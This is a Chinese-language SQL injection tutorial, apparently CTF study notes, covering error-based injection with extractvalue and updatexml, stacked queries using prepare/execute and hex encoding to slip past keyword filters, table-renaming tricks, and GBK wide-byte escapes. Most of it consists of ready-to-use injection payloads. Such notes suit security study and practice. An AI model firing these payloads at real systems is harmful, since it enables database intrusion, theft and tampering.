数据库
首页 > 数据库> > sql注入

sql注入

作者:互联网

报错注入

为什么需要报错注入?
在实际场景中,如果没有一个合适的数据返回点,而是仅仅带入sql数据库进行查询,就需要报错注入。
SELECT * FROM users WHERE id='$id' LIMIT 0,1正常进行绕过,但是在页面中没有数据回显,断定为报错注入

1, extractvalue

and extractvalue(0x7e,concat(0x7e,(sql_inject)))
可以理解为,非法传参,让后台xml故意报错。

0x7e的具体含义: 0x7e=~

利用这种方式,对后台进行一个排序,指定第一个参数为null,让他故意报错,将第二个参数中的语句带入数据库执行,最后报错显示执行的结果。

实验:

id= 1 and extractvalue(null,concat(0x7e,(select database()),0x7e))

XPATH syntax error: '-security-'

进一步获取表名,列名,数据。。。

在这种报错注入情况下,我们只能去使用select而并非union select,他们的语句执行有什么区别么?

获取表名的sql命令(需要插入报错函数中)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

select table_name from information_schema.tables where table_schema="security"

返回Subquery returns more than 1 row

应该怎么去处理?

select table_name from information_schema.tables where table_schema='security' limit 0,1   数据库中的排序limit0,1 表格中数据第一项

后面报数据,爆名

很酷炫的玩法:

一般,在实际情况下,一个公司的数据库可能有几百上千条, 这时,再用limit0,1 就没偷了,应该怎么去处理?

使用burp的intruder模块来进行处理

2, updatexml

and 1=(updatexml(1,concat(0x7e,(sql inject)),1))
updatexml名字就很明显,这个函数,是用来更新xml数据的,但是,我们非法传参,让它故意报错,执行我们的sql语句。
使用函数CONCAT_WS()。使用语法为:CONCAT_WS(separator,str1,str2,…)

二次整理

获取库名
	?1 and extractvalue(null,concat(0x7e,(select database()),0x7e))
获取表名
	?1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema="sqli" limit 0,1),0x7e))	//通过调整limit
获取列名
	?1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_name="flag1" limit 0,1),0x7e))
获取内容
	?1 and extractvalue(null,concat(0x7e,(select flag from flag1 limit 0,1),0x7e))
——————————————————————————————————————————————————
数据库结构是
库名			sqli
表名		id	data	flag1
列名	             1,2,3	news	flag
内容		xxx	xxx	ctfhub....
——————————————————————————————————————————————————

extractvalue()

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

							语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

使用concat()拼接 ‘  /  ‘ 效果相同,

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

这里在‘anything’中查询不到 位置是 /database()的内容,

但也没有语法错误,不会报错,下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

这里查询前5位示意:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))

updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
							语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

报错方式相同:

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

同样是32位查询。

原文   https://blog.csdn.net/zpy1998zpy/article/details/80631036

缺点:回显有长度限制,可以用substr()截取长度
?id=a or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)#

堆叠注入

正则匹配区分大小写(因为能区分,所以大写小写为一个字母)
正则匹配了select,可考虑堆叠注入

方法一拼接

?id=-1';show tables --+

爆表

?id=-1';show columns from `表名` --+

爆列

?id=-1';set @sql = CONCAT('se','lect * from `列名`;');prepare asd from @sql;execute asd;#

爆字段

拆分开
-1';
set @sql = CONCAT('se','lect * from `列名`;');
prepare asd from @sql;
execute asd; #

注:strstr函数过滤	无法区分大小写(因为不能区分,所以大写和小写分开,为两个字母)	可通过大小写来绕过


1、预处理
set:设置预处理的语句
prepare:引用预处理的语音
execute:执行语句
-1'; sEt @sql=concat('sel','ect * from `列名`;');prEpare asd from @sql;execute asd;#
asd自己定义的,不要设置为数字。

方法二rename

	之前查询了words发现了data字段,表明了你之前输入1,2,3查询的信息都在data里

	所以可以将含flag的表改为words,将words改成任意名字。再将列flag改为id

	-1';alter table words rename to asd;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#

	最后输入1' or 1=1#

方法三16进制编码

	所以先将select * from `1919810931114514`进行16进制编码
	再通过构造payload得

	;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

宽字节注入

在使用PHP连接MySQL的时候,
当设置“setcharacter_set_client = gbk”时会导致一个编码转换的问题,
也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,
注入参数里带入% DF%27,即可把(%5C)吃掉,举个例子。

即 在数据包传入服务器后,服务器对数据包查询部分参数进行转义处理,
但是当Php将sql查询参数传给mysql时,由于配置问题,导致会进行一次GBK编码,而编码转换导致转义符号被吃掉,从而绕过\转义符号,例如%df\’将被转化为x(一个汉字)’,从而可以闭合sql语句


当提交
	id=1' and 1=1%23时,
MySQL的运行的SQL语句为 
	select * from user where  id ='1\' and 1=1#'
很明显这是没有注入成功的,


而当我们提交
	`
	id=1%df' and 1=1%23
	`
MySQL的运行的SQL语句为
	```select * from user where id ='1運' and 1=1#'```

我们这里的宽字节注入是利用的MySQL的一个特性,
MySQL的在使用GBK编码的时候,
会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。
这就是MySQL的的特性,
因为GBK是多字节编码,
他认为两个字节代表一个汉字,
所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。

id=%df%27%20union%20select%201,%20database()%23

id=%df%27 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()%23

id=%df%27 union select 1,group_concat(column_name)from information_schema.columns where table_name=ctf4%23

id=%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

id=%df%27 union select 1,group_concat(flag) from ctf4%23

标签:0x7e,select,sql,table,where,id,concat,注入
来源: https://www.cnblogs.com/IceSeclude/p/16421468.html